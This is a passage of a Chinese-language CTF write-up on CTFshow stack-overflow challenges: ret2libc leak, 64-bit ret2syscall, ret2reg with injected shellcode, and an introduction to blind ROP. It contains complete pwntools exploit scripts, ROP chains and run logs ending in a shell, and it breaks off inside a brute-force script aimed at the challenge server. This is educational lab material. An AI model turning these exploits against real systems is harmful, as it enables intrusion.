class="comment">#ret栈对齐</span></span><br><span class="line">io.sendlineafter(<span class="string">b&quot;T^T\n&quot;</span>, payload)</span><br><span class="line">io.interactive()</span><br></pre></td></tr></table></figure><h3 id="关键原理：小端序-高位字节不变（学到了）"><a href="#关键原理：小端序-高位字节不变（学到了）" class="headerlink" title="关键原理：小端序 + 高位字节不变（学到了）"></a>关键原理：小端序 + 高位字节不变（学到了）</h3><ol><li><p><strong>当前v4值</strong>：</p><ul><li>在覆盖发生前，<code>v4 = 268 = 0x10C</code></li><li>内存表示（小端序）：<code>\x0C\x01\x00\x00</code></li></ul></li><li><p><strong>覆盖目标值</strong>：</p><ul><li>需要 <code>v4 = 280 = 0x118</code></li><li>内存表示（小端序）：<code>\x18\x01\x00\x00</code></li></ul></li><li><p><strong>单字节覆盖的可行性</strong>：</p><figure class="highlight diff"><table><tr><td class="code"><pre><span class="line">原始： 0x0C 0x01 0x00 0x00</span><br><span class="line">目标： 0x18 0x01 0x00 0x00</span><br><span class="line">       ^</span><br><span class="line">       └── 只需要修改这个字节</span><br></pre></td></tr></table></figure><ul><li><strong>高位字节（0x01 0x00 0x00）已经符合要求</strong></li><li>只需修改最低有效字节（LSB）</li></ul></li></ol><p>也可以看这个博主的解释<a href="https://blog.csdn.net/akdelt/article/details/135954144">https://blog.csdn.net/akdelt/article/details/135954144</a></p><p>这里有一个很坑的地方，v4 距离 rbp 4 个字节，所以我们栈溢出的时候会把 v4 也覆盖了，而 v4 是我们用来控制数组下标的，覆盖了的话就乱了，所以我们得注意 v2 输入 到 ebp - 4 的时候计算 v4 的值还原回去，这时的 v4 &#x3D; 0x110 - 4 +1 &#x3D; 0x10d.</p><figure class="highlight python"><table><tr><td class="code"><pre><span class="line">payload = <span class="string">b&#x27;a&#x27;</span>*(<span class="number">0x110</span> - <span class="number">0x4</span>) + p32(<span class="number">0x10d</span>) + p64(<span class="number">0</span>) + p64(pop_rdi) + p64(fgetc_got) + p64(puts_plt) + p64(main)</span><br><span class="line">payload = <span class="string">b&#x27;a&#x27;</span>*(<span class="number">0x110</span> - <span class="number">0x4</span>) + p32(<span class="number">0x10d</span>) + p64(<span class="number">0</span>) + p64(pop_rdi) + p64(bin_sh) + p64(ret) + p64(system_addr)</span><br><span class="line"><span class="comment">#v4被定义为int类型，在 x86_64 架构中，int类型固定为4 字节（32 位）+返回地址8字节</span></span><br></pre></td></tr></table></figure><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">$ python3 exp.py</span><br><span class="line">[+] Starting <span class="built_in">local</span> process <span class="string">&#x27;./pwn&#x27;</span>: pid 404</span><br><span class="line">[*] <span class="string">&#x27;/CTFshow_pwn/pwn&#x27;</span></span><br><span class="line">    Arch:       amd64-64-little</span><br><span class="line">    RELRO:      Partial RELRO</span><br><span class="line">    Stack:      No canary found</span><br><span class="line">    NX:         NX enabled</span><br><span class="line">    PIE:        No PIE (0x400000)</span><br><span class="line">    Stripped:   No</span><br><span class="line">[*] <span class="string">&#x27;/lib/x86_64-linux-gnu/libc.so.6&#x27;</span></span><br><span class="line">    Arch:       amd64-64-little</span><br><span class="line">    RELRO:      Full RELRO</span><br><span class="line">    Stack:      Canary found</span><br><span class="line">    NX:         NX enabled</span><br><span class="line">    PIE:        PIE enabled</span><br><span class="line">    FORTIFY:    Enabled</span><br><span class="line">    SHSTK:      Enabled</span><br><span class="line">    IBT:        Enabled</span><br><span class="line">0x78143aa8cf70</span><br><span class="line">libc_base = 0x78143a9fe000</span><br><span class="line">[*] Switching to interactive mode</span><br><span class="line">$ <span class="built_in">ls</span></span><br><span class="line">ctfshow_flag</span><br></pre></td></tr></table></figure><h2 id="pwn78"><a href="#pwn78" class="headerlink" title="pwn78"></a>pwn78</h2><h6 id="Hint：64位ret2syscall"><a href="#Hint：64位ret2syscall" class="headerlink" title="Hint：64位ret2syscall"></a>Hint：64位ret2syscall</h6><p>checksec检查保护</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">$ <span class="built_in">chmod</span> +x pwn</span><br><span class="line">$ checksec pwn &amp;&amp; file pwn</span><br><span class="line">    Arch:       amd64-64-little</span><br><span class="line">    RELRO:      Partial RELRO</span><br><span class="line">    Stack:      No canary found</span><br><span class="line">    NX:         NX enabled</span><br><span class="line">    PIE:        No PIE (0x400000)</span><br><span class="line">    Stripped:   No</span><br><span class="line">pwn: ELF 64-bit LSB executable, x86-64, version 1 (GNU/Linux), statically linked, <span class="keyword">for</span> GNU/Linux 2.6.24, BuildID[sha1]=3a1087ee8a857d0726535e1646549e2ebaf043d5, not stripped</span><br></pre></td></tr></table></figure><p>64位，静态编译。开启NX 部分开启RELRO</p><p>IDA查看：</p><figure class="highlight c"><table><tr><td class="code"><pre><span class="line"><span class="type">int</span> __fastcall <span class="title function_">main</span><span class="params">(<span class="type">int</span> argc, <span class="type">const</span> <span class="type">char</span> **argv, <span class="type">const</span> <span class="type">char</span> **envp)</span></span><br><span class="line">&#123;</span><br><span class="line">  _BYTE v4[<span class="number">80</span>]; <span class="comment">// [rsp+0h] [rbp-50h] BYREF</span></span><br><span class="line"></span><br><span class="line">  setvbuf(<span class="built_in">stdout</span>, <span class="number">0</span>, <span class="number">2</span>, <span class="number">0</span>);</span><br><span class="line">  setvbuf(<span class="built_in">stdin</span>, <span class="number">0</span>, <span class="number">1</span>, <span class="number">0</span>);</span><br><span class="line">  <span class="built_in">puts</span>(<span class="string">&quot;CTFshowPWN!&quot;</span>);</span><br><span class="line">  <span class="built_in">puts</span>(<span class="string">&quot;where is my system_x64?&quot;</span>);</span><br><span class="line">  gets(v4);</span><br><span class="line">  <span class="built_in">puts</span>(<span class="string">&quot;fuck&quot;</span>);</span><br><span class="line">  <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>明显的栈溢出漏洞，题目描述也说了64位的ret2syscall</p><p>与32位不同，需要注意以下几点</p><ul><li><p>存储参数的寄存器名不同</p></li><li><p>ret返回的函数名不同</p></li><li><p>32位为int 0x80，64位为syscall ret</p></li></ul><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">$ ROPgadget --binary ./pwn | grep <span class="string">&quot;pop&quot;</span> | grep <span class="string">&quot;ret&quot;</span></span><br><span class="line">0x00000000004016c3 : pop rdi ; ret</span><br><span class="line">0x000000000046b9f8 : pop rax ; ret</span><br><span class="line">0x00000000004377f9 : pop rdx ; pop rsi ; ret</span><br><span class="line"></span><br><span class="line">$ ropper --file ./pwn --search <span class="string">&quot;syscall; ret&quot;</span></span><br><span class="line">0x000000000045bac5: syscall; ret;</span><br><span class="line"></span><br><span class="line">$ readelf -S ./pwn</span><br><span class="line">[Nr] Name              Type             Address           Offset</span><br><span class="line">       Size              EntSize          Flags  Link  Info  Align</span><br><span class="line">  [25] .bss              NOBITS           00000000006c1c40  000c1c30</span><br><span class="line">       0000000000002518  0000000000000000  WA       0     0     32</span><br></pre></td></tr></table></figure><figure class="highlight python"><table><tr><td class="code"><pre><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span><br><span class="line">context.log_level = <span class="string">&#x27;debug&#x27;</span></span><br><span class="line">io = process(<span class="string">&quot;./pwn&quot;</span>)</span><br><span class="line">pop_rax = <span class="number">0x46b9f8</span></span><br><span class="line">pop_rdi = <span class="number">0x4016c3</span></span><br><span class="line">pop_rdx_rsi = <span class="number">0x4377f9</span></span><br><span class="line">bss = <span class="number">0x6c2000</span></span><br><span class="line">syscall = <span class="number">0x45bac5</span></span><br><span class="line">payload = cyclic(<span class="number">0x50</span>+<span class="number">8</span>)</span><br><span class="line">payload += p64(pop_rax)+p64(<span class="number">0x0</span>)<span class="comment"># rax = 0（read系统调用号）</span></span><br><span class="line"><span class="comment">#read系统调用：是操作系统内核提供的底层功能（编号0），任何程序都可以通过手动设置寄存器并执行syscall指令直接调用，无需依赖库函数（就是main函数没有read函数也可以的）</span></span><br><span class="line">payload += p64(pop_rdx_rsi)+p64(<span class="number">0x10</span>)+p64(bss) <span class="comment"># rdx=0x10（读取长度）, rsi=bss（写入地址）</span></span><br><span class="line">payload += p64(pop_rdi)+p64(<span class="number">0</span>)<span class="comment"># rdi=0（标准输入FD）</span></span><br><span class="line">payload += p64(syscall)</span><br><span class="line"></span><br><span class="line">payload += p64(pop_rax)+p64(<span class="number">0x3b</span>)<span class="comment"># rax=59（execve系统调用号）</span></span><br><span class="line">payload += p64(pop_rdx_rsi)+p64(<span class="number">0</span>)+p64(<span class="number">0</span>)<span class="comment"># rdx=0, rsi=0（参数数组和环境变量为空）</span></span><br><span class="line">payload += p64(pop_rdi)+p64(bss)<span class="comment"># rdi=bss（指向/bin/sh字符串）</span></span><br><span class="line">payload += p64(syscall)</span><br><span class="line"></span><br><span class="line">io.sendline(payload)</span><br><span class="line">io.sendline(<span class="string">b&quot;/bin/sh\x00&quot;</span>)</span><br><span class="line">io.interactive()</span><br></pre></td></tr></table></figure><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">$ python3 exp.py</span><br><span class="line">[+] Starting <span class="built_in">local</span> process <span class="string">&#x27;./pwn&#x27;</span>: pid 111</span><br><span class="line">[*] Switching to interactive mode</span><br><span class="line">CTFshowPWN!</span><br><span class="line"><span class="built_in">where</span> is my system_x64?</span><br><span class="line">fuck</span><br><span class="line">$ <span class="built_in">ls</span></span><br><span class="line">ctfshow_flag</span><br></pre></td></tr></table></figure><h2 id="pwn79"><a href="#pwn79" class="headerlink" title="pwn79"></a>pwn79</h2><h6 id="Hint：你需要注意某些函数，这是解题的关键！"><a href="#Hint：你需要注意某些函数，这是解题的关键！" class="headerlink" title="Hint：你需要注意某些函数，这是解题的关键！"></a>Hint：你需要注意某些函数，这是解题的关键！</h6><p><strong><code>ret2reg原理：</code></strong></p><ol><li>查看溢出函返回时哪个寄存值指向溢出缓冲区空间</li><li>查找 call reg 或者 jmp reg 指令，将 EIP 设置为该指令地址</li><li>reg 所指向的空间上注入 Shellcode (需要确保该空间是可以执行的，但通常都是栈上的)</li></ol><p>checksec检查保护</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">$ <span class="built_in">chmod</span> +x pwn</span><br><span class="line">$ checksec pwn</span><br><span class="line">  Arch:       i386-32-little</span><br><span class="line">  RELRO:      Partial RELRO</span><br><span class="line">  Stack:      No canary found</span><br><span class="line">  NX:         NX disabled</span><br><span class="line">  PIE:        No PIE (0x8048000)</span><br><span class="line">  Stack:      Executable</span><br><span class="line">  RWX:        Has RWX segments</span><br><span class="line">  Stripped:   No</span><br><span class="line">  Debuginfo:  Yes</span><br></pre></td></tr></table></figure><p>32位程序，仅部分开启RELRO</p><p>IDA查看main函数：</p><figure class="highlight c"><table><tr><td class="code"><pre><span class="line"><span class="type">int</span> __cdecl <span class="title function_">main</span><span class="params">(<span class="type">int</span> argc, <span class="type">const</span> <span class="type">char</span> **argv, <span class="type">const</span> <span class="type">char</span> **envp)</span></span><br><span class="line">&#123;</span><br><span class="line">  <span class="type">int</span> input[<span class="number">512</span>]; <span class="comment">// [esp+0h] [ebp-808h] BYREF</span></span><br><span class="line">  <span class="type">int</span> *p_argc; <span class="comment">// [esp+800h] [ebp-8h]</span></span><br><span class="line"></span><br><span class="line">  p_argc = &amp;argc;</span><br><span class="line">  init();</span><br><span class="line">  logo();</span><br><span class="line">  <span class="built_in">printf</span>(<span class="string">&quot;Enter your input: &quot;</span>);</span><br><span class="line">  fgets((<span class="type">char</span> *)input, <span class="number">2048</span>, <span class="built_in">stdin</span>);</span><br><span class="line">  ctfshow((<span class="type">char</span> *)input);</span><br><span class="line">  <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>可以看到除去初始化与logo后，程序打印了一个提示信息：Enter your input:</p><p>然后从标准输入中读取用户输入的数据到 input 数组，最多读取 2048 字节，将用户输入的数据传递给ctfshow 函数进行处理，继续跟进ctfshow函数：</p><figure class="highlight c"><table><tr><td class="code"><pre><span class="line"><span class="type">void</span> __cdecl <span class="title function_">ctfshow</span><span class="params">(<span class="type">char</span> *input)</span></span><br><span class="line">&#123;</span><br><span class="line">  <span class="type">char</span> buf[<span class="number">516</span>]; <span class="comment">// [esp+0h] [ebp-208h] BYREF</span></span><br><span class="line"></span><br><span class="line">  <span class="built_in">strcpy</span>(buf, input);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>函数的主要逻辑是将传递给它的 input 字符串复制到 buf 数组中，这种复制使用了 strcpy 函数。需要注意的是，存在缓冲区溢出，因为 strcpy 函数不会检查目标缓冲区的大小。如果 input 字符串的长度超过了 buf 数组的大小，就可能导致数据溢出到栈上其他部分。程序中又有可读可写可执行的段，那么我们的利用思路就很明显了，让我们来逐步调试。</p><p>先去寻找寄存器执向的缓冲区：</p><p>在gdb中ctfshow函数的leave处下个断点，看程序返回时，缓冲区指向哪个寄存器 </p><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">pwndbg&gt; disass ctfshow</span><br><span class="line">Dump of assembler code for function ctfshow:</span><br><span class="line">   0x0804867e &lt;+0&gt;:push   ebp</span><br><span class="line">   0x0804867f &lt;+1&gt;:mov    ebp,esp</span><br><span class="line">   0x08048681 &lt;+3&gt;:push   ebx</span><br><span class="line">   0x08048682 &lt;+4&gt;:sub    esp,0x204</span><br><span class="line">   0x08048688 &lt;+10&gt;:call   0x804872c &lt;__x86.get_pc_thunk.ax&gt;</span><br><span class="line">   0x0804868d &lt;+15&gt;:add    eax,0x1973</span><br><span class="line">   0x08048692 &lt;+20&gt;:sub    esp,0x8</span><br><span class="line">   0x08048695 &lt;+23&gt;:push   DWORD PTR [ebp+0x8]</span><br><span class="line">   0x08048698 &lt;+26&gt;:lea    edx,[ebp-0x208]</span><br><span class="line">   0x0804869e &lt;+32&gt;:push   edx</span><br><span class="line">   0x0804869f &lt;+33&gt;:mov    ebx,eax</span><br><span class="line">   0x080486a1 &lt;+35&gt;:call   0x80483d0 &lt;strcpy@plt&gt;</span><br><span class="line">   0x080486a6 &lt;+40&gt;:add    esp,0x10</span><br><span class="line">   0x080486a9 &lt;+43&gt;:nop</span><br><span class="line">   0x080486aa &lt;+44&gt;:mov    ebx,DWORD PTR [ebp-0x4]</span><br><span class="line">   0x080486ad &lt;+47&gt;:leave</span><br><span class="line">   0x080486ae &lt;+48&gt;:ret</span><br><span class="line">End of assembler dump.</span><br></pre></td></tr></table></figure><p>打好0x080486ad断点后运行程序，输入“show” 可以看到 EAX ,ECX ,EDX 寄存器是指向缓冲区的</p><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">EAX  0xffc76220 ◂— &#x27;show\n&#x27;</span><br><span class="line">EBX  0x804a000 (_GLOBAL_OFFSET_TABLE_) —▸ 0x8049f0c (_DYNAMIC) ◂— 1</span><br><span class="line">ECX  0xffc76440 ◂— &#x27;show\n&#x27;</span><br><span class="line">EDX  0xffc76220 ◂— &#x27;show\n&#x27;</span><br><span class="line">EDI  0xee0edb60 (_rtld_global_ro) ◂— 0</span><br><span class="line">ESI  0x8048730 (__libc_csu_init) ◂— push ebp</span><br><span class="line">EBP  0xffc76428 —▸ 0xffc76c48 ◂— 0</span><br><span class="line">ESP  0xffc76220 ◂— &#x27;show\n&#x27;</span><br><span class="line">EIP  0x80486ad (ctfshow+47) ◂— leave</span><br></pre></td></tr></table></figure><p>再查看一下返回地址偏移量</p><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">pwndbg&gt; stack ebp+8 </span><br><span class="line">#ebp+8查看函数返回地址的常用方式【buf：0x204  +4+4=0x20c】</span><br><span class="line">...</span><br><span class="line">83:020c│+004         0xffc7642c —▸ 0x804871a (main+107) ◂— add esp, 0x10</span><br><span class="line">#超过这个20c长度的输入就会覆盖返回地址,这也是后续利用 ret2reg 技术时需要填充的偏移量。</span><br></pre></td></tr></table></figure><p>然后我们去寻找call &#x2F; jmp 指令：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">$ objdump -D -M intel pwn | egrep <span class="string">&quot;eax|edx&quot;</span> | egrep <span class="string">&quot;call|jmp&quot;</span></span><br><span class="line"> 80484a0:ff d0                call   eax</span><br><span class="line"> 80484ed:ff d2                call   edx</span><br><span class="line"> 8048ce7:ff ac 00 00 00 90 f7 jmp    FWORD PTR [eax+eax*1-0x8700000]</span><br><span class="line"> 8048d0f:ff 2c 01             jmp    FWORD PTR [ecx+eax*1]</span><br><span class="line"> 8048d17:ff 60 01             jmp    DWORD PTR [eax+0x1]</span><br><span class="line"><span class="comment">#或者</span></span><br><span class="line">$ ROPgadget --binary pwn --only <span class="string">&quot;call|jmp&quot;</span></span><br><span class="line">Gadgets information</span><br><span class="line">============================================================</span><br><span class="line">0x080485a6 : call 0xf05585aa</span><br><span class="line">0x080485b8 : call 0xf05585bc</span><br><span class="line">0x08048442 : call dword ptr [eax + 0x51]</span><br><span class="line">0x08048596 : call dword ptr [eax - 0x18]</span><br><span class="line">0x0804843b : call dword ptr [eax - 0x73]</span><br><span class="line">0x0804869d : call dword ptr [edx - 0x77]</span><br><span class="line">0x080484a0 : call eax</span><br><span class="line">0x080484ed : call edx</span><br><span class="line">0x08048bbf : jmp 0x2825345b</span><br><span class="line">0x080483bb : jmp 0x80483a0</span><br><span class="line">0x08048534 : jmp 0x80484c0</span><br><span class="line">0x08048612 : jmp 0x8048613</span><br><span class="line">0x08048624 : jmp 0x8048625</span><br><span class="line">0x08048636 : jmp 0x8048637</span><br><span class="line">0x0804866c : jmp 0x804866d</span><br><span class="line">0x080485f3 : jmp 0x8c0485f5</span><br><span class="line">0x080485ca : jmp 0xf05585ce</span><br><span class="line">0x080485dc : jmp 0xf05585e0</span><br><span class="line">0x08048d17 : jmp dword ptr [eax + 1]</span><br><span class="line">0x08048cff : jmp esp</span><br><span class="line"></span><br><span class="line">Unique gadgets found: 20</span><br></pre></td></tr></table></figure><p>这里我们选取call_eax，然后再进行构造我们的payload。【edx不行，ai说，在函数返回过程中（<code>leave</code> 和 <code>ret</code> 指令执行时），<code>edx</code> 的值可能被隐式修改。在 x86 调用约定中，<code>eax</code> 常被用作返回值寄存器，在函数返回前通常会保持稳定。因此 <code>call eax</code> 更可能准确跳转到缓冲区中的 shellcode。】</p><figure class="highlight python"><table><tr><td class="code"><pre><span class="line">payload=flat([shellcode,<span class="string">b&#x27;a&#x27;</span>*(<span class="number">0x20c</span>-<span class="built_in">len</span>(shellcode)),call_eax])</span><br></pre></td></tr></table></figure><figure class="highlight python"><table><tr><td class="code"><pre><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span>*</span><br><span class="line">context(arch=<span class="string">&#x27;i386&#x27;</span>,os=<span class="string">&#x27;linux&#x27;</span>,log_level=<span class="string">&#x27;debug&#x27;</span>)</span><br><span class="line">io=process(<span class="string">&quot;./pwn&quot;</span>)</span><br><span class="line">shellcode=asm(shellcraft.sh())</span><br><span class="line">call_eax=p32(<span class="number">0x80484A0</span>)</span><br><span class="line">payload=flat([shellcode,<span class="string">b&#x27;a&#x27;</span>*(<span class="number">0x20c</span>-<span class="built_in">len</span>(shellcode)),call_eax])</span><br><span class="line">io.recv()</span><br><span class="line">io.sendline(payload)</span><br><span class="line">io.interactive()</span><br></pre></td></tr></table></figure><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">$ python3 exp.py</span><br><span class="line">[+] Starting <span class="built_in">local</span> process <span class="string">&#x27;./pwn&#x27;</span>: pid 173</span><br><span class="line">[*] Switching to interactive mode</span><br><span class="line">$ <span class="built_in">ls</span></span><br><span class="line">ctfshow_flag</span><br></pre></td></tr></table></figure><h2 id="pwn80"><a href="#pwn80" class="headerlink" title="pwn80"></a>pwn80</h2><h6 id="Hint：盲打-blind-rop-（不是忘记放附件，是本身就没附件！！！）"><a href="#Hint：盲打-blind-rop-（不是忘记放附件，是本身就没附件！！！）" class="headerlink" title="Hint：盲打 blind rop （不是忘记放附件，是本身就没附件！！！）"></a>Hint：盲打 blind rop （不是忘记放附件，是本身就没附件！！！）</h6><p>–&gt;BROP<br>BROP全称为”BlindROP”，一般在我们无法获得二进制文件的情况下利用 ROP进行远程攻击某个应用程序，劫持该应用程序的控制流，我们可以不需要知道该应用程序的源代码或者任何二进制代码，该应用程序可以被现有的一些保护机制，诸如NX, ASLR, PIE, 以及stack canaries等保护，应用程序所在的服务器可以是32位系统或者64位系统，BROP这一概念在2014年由Standford的Andrea Bittau发表在Oakland 2014的论文Hacking Blind中提出。<br>要利用BROP，有两个先决条件：</p><ol><li>程序必须存在一个已知漏洞（一般是栈溢出漏洞或者格式化字符串漏洞），并且攻击者知道如何触发该漏洞；</li><li>应用程序在crash之后可以重新启动，并且重新启动的进程不会被re-rand(虽然有ASLR的保护，但是复活的进程和之前的进程的地址随机化是一样的)，这个需求其实在现实中是存在且合理的，诸如像如今的nginx, MySQL, Apache, OpenSSH, Samba等应用均符合此类特性</li></ol><p>–&gt;BROP攻击思路<br>因此BROP的攻击思路一般有以下几个步骤：</p><ol><li>暴力枚举，获取栈溢出长度，如果程序开启了Canary ，顺便将canary也可以爆出来</li><li>寻找可以返回到程序main函数的gadget,通常被称为stop_gadget</li><li>利用stop_gadget寻找可利用(potentially useful)gadgets，如:pop rdi; ret</li><li>寻找BROP Gadget，可能需要诸如write、put等函数的系统调用</li><li>寻找相应的PLT地址</li><li>dump远程内存空间</li><li>拿到相应的GOT内容后，泄露出libc的内存信息，最后利用rop完成getshell</li></ol><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">知识点1-stop_gadget：一般情况下，如果我们把栈上的return address覆盖成某些我们随意选取的内存地址的话，程序有很大可能性会挂掉（比如，该return address指向了一段代码区域，里面会有一些对空指针的访问造成程序crash，从而使得攻击者的连接（connection）被关闭）。但是，存在另外一种情况，即该return address指向了一块代码区域，当程序的执行流跳到那段区域之后，程序并不会crash，而是进入了无限循环，这时程序仅仅是hang在了那里，攻击者能够一直保持连接状态。于是，我们把这种类型的gadget，成为stop gadget，这种gadget对于寻找其他gadgets取到了至关重要的作用。</span><br></pre></td></tr></table></figure><p><code>知识点2-可利用的(potentially useful)gadgets：假设现在我们猜到某个useful gadget，比如pop rdi;ret, 但是由于在执行完这个gadget之后进程还会跳到栈上的下一个地址，如果该地址是一个非法地址，那么进程最后还是会crash，在这个过程中攻击者其实并不知道这个useful gadget被执行过了（因为在攻击者看来最后的效果都是进程crash了），因此攻击者就会认为在这个过程中并没有执行到任何的useful gadget，从而放弃它。这个步骤如下图所示：</code></p><figure class="highlight text"><table><tr><td class="code"><pre><span class="line">┌───────────────────────────────────────────────┐</span><br><span class="line">│                  Stack Memory                 │</span><br><span class="line">├───────────┬───────────────┬───────────┬──────-┤</span><br><span class="line">│ buffer    │ return addr   │ 0xdead    │ 0xdead│</span><br><span class="line">│ AAAAA     │ 0x400000      │ 0xdead    │ 0xdead│</span><br><span class="line">└───────────┴───────────────┴───────────┴──────-┘</span><br><span class="line">        ↖            ↗                ↘</span><br><span class="line">         │            │                 │</span><br><span class="line">         │            │         Crash   │</span><br><span class="line">         │            ▼                 ▼</span><br><span class="line">         │     ┌───────────────┐        ┌───────────┐</span><br><span class="line">         │     │ pop rdi; ret  │        │ 0xdead    │</span><br><span class="line">         └─────┤ (执行流跳转)    │        │ (非法地址)  │</span><br><span class="line">               └───────────────┘        └───────────┘</span><br><span class="line">                     ↓ 执行完 gadget 后，跳转到栈中下一个地址（0xdead）→ 非法 → Crash</span><br><span class="line"></span><br><span class="line">1. 栈被溢出覆盖：  </span><br><span class="line">   - buffer 填 AAAAA，return addr 改为 `pop rdi; ret` 的地址（0x400000）  </span><br><span class="line">   - 后续栈内容是非法地址（0xdead）  </span><br><span class="line"></span><br><span class="line">2. 执行流程：  </span><br><span class="line">   - 主函数 return 时，跳转到 `pop rdi; ret`（gadget 执行成功）  </span><br><span class="line">   - 执行完 gadget 后，程序自动跳转到栈的下一个地址（0xdead，非法）  </span><br><span class="line">   - 访问非法地址 → 进程 Crash  </span><br><span class="line"></span><br><span class="line">3. 攻击者困惑：  </span><br><span class="line">   - 只看到 Crash，无法区分 “gadget 执行了但后续崩了” 和 “gadget 没执行”  </span><br><span class="line">   - 容易误以为 gadget 无效，放弃利用  </span><br></pre></td></tr></table></figure><p><code>但是，如果我们有了stop gadget，那么整个过程将会很不一样. 如果我们在需要尝试的return address之后填上了足够多的stop gadgets，如下图所示：</code></p><figure class="highlight text"><table><tr><td class="code"><pre><span class="line">#填充 stop gadget 后，执行不崩溃（No Crash）</span><br><span class="line">┌────────────────────────────────────────────────────────────┐</span><br><span class="line">│                          Stack                             │</span><br><span class="line">├───────────┬───────────────┬───────────────┬───────────────┤</span><br><span class="line">│ buffer    │ return addr   │ stop (1)      │ stop (2)      │</span><br><span class="line">│ AAAAA     │ 0x400000      │ 0x400010      │ 0x400010      │</span><br><span class="line">└───────────┴───────────────┴───────────────┴───────────────┘</span><br><span class="line">         ↗           ↖                  ↖</span><br><span class="line">         │            │                   │</span><br><span class="line">         │            │         No Crash  │</span><br><span class="line">         │            ▼                   ▼</span><br><span class="line">         │     ┌─────────────┐         ┌─────────────┐</span><br><span class="line">         │     │ pop rdi; ret│         │    sleep    │</span><br><span class="line">         └─────┤ (执行流跳转)  │         │ (维持运行)    │</span><br><span class="line">               └─────────────┘         └─────────────┘</span><br><span class="line"></span><br><span class="line">#含危险指令（xor rax, rax; mov (rax), rbx），执行崩溃（Crash）</span><br><span class="line">┌────────────────────────────────────────────────────────────┐</span><br><span class="line">│                          Stack                             │</span><br><span class="line">├───────────┬───────────────┬───────────────┬───────────────┤</span><br><span class="line">│ buffer    │ return addr   │ stop (1)      │ stop (2)      │</span><br><span class="line">│ AAAAA     │ 0x400050      │ 0x400010      │ 0x400010      │</span><br><span class="line">└───────────┴───────────────┴───────────────┴───────────────┘</span><br><span class="line">         ↗           ↖                  ↖</span><br><span class="line">         │            │                   │</span><br><span class="line">         │            │         Crash     │</span><br><span class="line">         │            ▼                   ▼</span><br><span class="line">         │     ┌───────────────────────┐  ┌─────────────┐</span><br><span class="line">         │     │ xor rax, rax;         │  │    sleep    │</span><br><span class="line">         │     │ mov (rax), rbx;       │  │ (未执行到)    │</span><br><span class="line">         └─────┤ (访问空指针 → 崩溃)      │  └─────────────┘</span><br><span class="line">               └───────────────────────┘</span><br><span class="line">当栈布局填充：</span><br><span class="line">1. [合法 stop gadget] → 执行流跳转到安全指令（如 pop rdi; ret → sleep）→ 不崩溃  </span><br><span class="line">   → 程序进入“block 状态”，连接保持，可继续利用  </span><br><span class="line"></span><br><span class="line">2. [危险 gadget（如访问空指针）] → 执行流跳转到非法指令 → 崩溃  </span><br><span class="line">   → 程序 Crash，连接断开，无法继续利用  </span><br><span class="line"></span><br><span class="line">→ 核心区别：stop gadget 需指向“不访问非法内存、无危险操作”的指令，才能维持程序运行</span><br></pre></td></tr></table></figure><p>那么任何会造成进程crash的gadget最后还是会造成进程crash，而那些useful gadget则会进入block状态。尽管如此，还是有一种特殊情况，即那个我们需要尝试的gadget也是一个stop gadget，那么如上所述，它也会被我们标识为useful  gadget。不过这并没有关系，因为之后我们还是需要检查该useful gadget是否是我们想要的gadget。</p><p>回到题目，直接远程连接：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">$ nc pwn.challenge.ctf.show  28277</span><br><span class="line">    * *************************************</span><br><span class="line">    * Classify: CTFshow --- PWN --- 入门</span><br><span class="line">    * Type  : Stack_Overflow</span><br><span class="line">    * Site  : https://ctf.show/</span><br><span class="line">    * Hint  : Blind rop !</span><br><span class="line">    * *************************************</span><br><span class="line">Welcome to CTFshow-PWN ! Do you know <span class="built_in">who</span> is daniu?</span><br></pre></td></tr></table></figure><p>简单尝试是否存在栈溢出漏洞，正常输入较短字符串：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">Welcome to CTFshow-PWN ! Do you know <span class="built_in">who</span> is daniu?</span><br><span class="line"><span class="built_in">yes</span> i know</span><br><span class="line">No passwd,See you!</span><br></pre></td></tr></table></figure><p>输入超长字符串：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">$ cyclic 200</span><br><span class="line">aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab</span><br><span class="line">$ nc pwn.challenge.ctf.show  28232</span><br><span class="line">Welcome to CTFshow-PWN ! Do you know <span class="built_in">who</span> is daniu?</span><br><span class="line">aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab</span><br><span class="line"><span class="built_in">timeout</span>: the monitored <span class="built_in">command</span> dumped core</span><br></pre></td></tr></table></figure><p>那么很明显存在栈溢出漏洞了。</p><ul><li><p>第一步(暴力枚举出栈溢出长度)：</p><figure class="highlight python"><table><tr><td class="code"><pre><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">Get_buf_length</span>():</span><br><span class="line">    i = <span class="number">1</span> <span class="comment">#表示尝试填入的栈长度</span></span><br><span class="line">    <span class="keyword">while</span> <span class="number">1</span>:</span><br><span class="line">        <span class="keyword">try</span>:</span><br><span class="line">            io = remote(<span class="string">&#x27;pwn.challenge.ctf.show&#x27;</span>, <span class="number">28227</span>)  </span><br><span class="line">            io.recvuntil(<span class="string">b&quot;Welcome to 